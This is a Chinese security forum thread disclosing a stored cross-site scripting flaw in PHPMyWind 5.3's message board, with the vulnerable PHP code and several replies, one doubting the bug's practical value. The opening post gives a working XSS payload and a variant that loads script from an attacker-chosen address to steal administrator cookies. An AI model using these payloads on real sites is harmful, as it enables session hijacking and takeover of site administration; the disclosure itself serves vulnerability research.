请选择 进入手机版 | 继续访问电脑版
查看: 2645|回复: 8

PHPMyWind_5.3存储型Xss

[复制链接]
  • TA的每日心情

    2019-6-3 21:25
  • 签到天数: 116 天

    [LV.6]常住居民II

    发表于 2016-8-26 15:14:23 | 显示全部楼层 |阅读模式
    本帖最后由 小雨 于 2016-8-26 15:17 编辑

    http://127.0.0.1/PHPMyWind_5.3/shoppingcart.php 留言板地址

    以ing开头(可以是其他)

    “><img/src=x onerror=alert(2001)><“‘


    后台

    127.0.0.1/PHPMyWind_5.3/admin/message.php

    需要点击修改才可以弹XSS

    如果管理员留言需要前台显示(或者回复)就必须点击修改。





    ps:如果想打管理员cookie 就这个构造一下img

    <img src=x onerror=s=createElement(‘script’);body.appendChild(s);s.src=’你的js地址’;>

    代码分析:

    PHPMyWind_5.3/message.php (25-41)

    [PHP] 纯文本查看 复制代码
    $r = $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
    		$orderid  = (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
    		$nickname = htmlspecialchars($nickname);//游客(xxx)
    		$contact  = htmlspecialchars($contact); //联系方式
    		$content  = htmlspecialchars($content); //留言内容
    		
    		$posttime = GetMkTime(time());
    		$ip       = gethostbyname($_SERVER['REMOTE_ADDR']);
    	
    	
    		$sql = "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
    		if($dosql->ExecNoneQuery($sql))
    		{
    			ShowMsg('留言成功,感谢您的支持!','message.php');
    			exit();
    		}
    	}



    可以看出使用htmlspecialchars进行过滤,带入库中.

    跟进content参数。

    127.0.0.1/PHPMyWind_5.3/admin/ message_update.php


    [PHP] 纯文本查看 复制代码
    <?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>修改留言</title>
    <link href="templates/style/admin.css" rel="stylesheet" type="text/css" />
    <script type="text/javascript" src="templates/js/jquery.min.js"></script>
    <script type="text/javascript" src="templates/js/checkf.func.js"></script>
    <script type="text/javascript" src="editor/kindeditor-min.js"></script>
    <script type="text/javascript" src="editor/lang/zh_CN.js"></script>
    </head>
    <body>
    <?php
    $row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id");
    ?>
    <div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div>
    <form name="form" id="form" method="post" action="message_save.php" onsubmit="return cfm_msg();">
    	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable">
    		<tr>
    			<td width="25%" height="40" align="right">用户名:</td>
    			<td width="75%"><strong><?php echo $row['nickname'] ?></strong></td>
    		</tr>
    		<tr>
    			<td height="40" align="right">联系方式:</td>
    			<td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td>
    		</tr>
    		<tr>
    			<td height="198" align="right">留言内容:</td>
    			<td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>
    				<script>
    p:33
    
    <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>



    后台直接取出content参数,数据并未进行转义操作。



    源码下载:http://phpmywind.com/downloads/PHPMyWind_5.3.zip

    转载请注明来源
    http://www.yuag.org/2016/08/17/p ... %82%A8%E5%9E%8Bxss/

    查看:poc
    游客,如果您要查看本帖隐藏内容请回复

    评分

    参与人数 2i币 +9 收起 理由
    Mhat9x + 5 支持原创
    90_ + 4 辛苦分

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    2 小时前
  • 签到天数: 927 天

    [LV.10]以坛为家III

    发表于 2016-8-26 19:39:16 | 显示全部楼层
    分析还是不错的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-9-12 23:43
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2016-8-26 21:09:48 | 显示全部楼层

    RE: PHPMyWind_5.3存储型Xss

    感觉挺有意思的,过来学习
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-11-11 18:09
  • 签到天数: 102 天

    [LV.6]常住居民II

    发表于 2016-8-27 10:54:12 | 显示全部楼层

    RE: PHPMyWind_5.3存储型Xss

    多谢分享,tks
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-10-31 21:55
  • 签到天数: 47 天

    [LV.5]常住居民I

    发表于 2016-8-27 21:29:41 | 显示全部楼层
    本帖最后由 Fxfang 于 2016-8-27 21:42 编辑

    XSS确实存在,不过,


    「如果管理员留言需要前台显示(或者回复)就必须点击修改。」这句话有问题

    测过了,并不需要一定要修改

    针对于短留言:
    有经验的管理员,直接删除就是了(因为有预览的机制存在,完全可以预览,而且预览界面不会有XSS),完全没必要点击「修改」

    针对于长留言:
    这个漏洞说不定还起点作用,但是仍然可以直接批审通过(大多数管理员偷懒确实也会这么做),而不去看详细内容,XSS就会失败;管理员也可以稍后自行在留言页面查看,也不会有XSS

    且,获得cookie后登录,admin控制面板会记录登录日志(包括ip, action)这个存在于pwm_sysevent数据表中


    所以,觉得这个漏洞很鸡肋

    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-8-30 19:29:24 | 显示全部楼层
    学习一下


    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-4-13 10:02
  • 签到天数: 36 天

    [LV.5]常住居民I

    发表于 2016-9-1 11:38:11 | 显示全部楼层

    RE: PHPMyWind_5.3存储型Xss

    不明觉厉。
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-10-9 13:28
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2016-9-20 11:22:11 | 显示全部楼层

    RE: PHPMyWind_5.3存储型Xss

    我喜欢这个
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-8-11 17:01
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2019-8-11 17:07:08 | 显示全部楼层
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表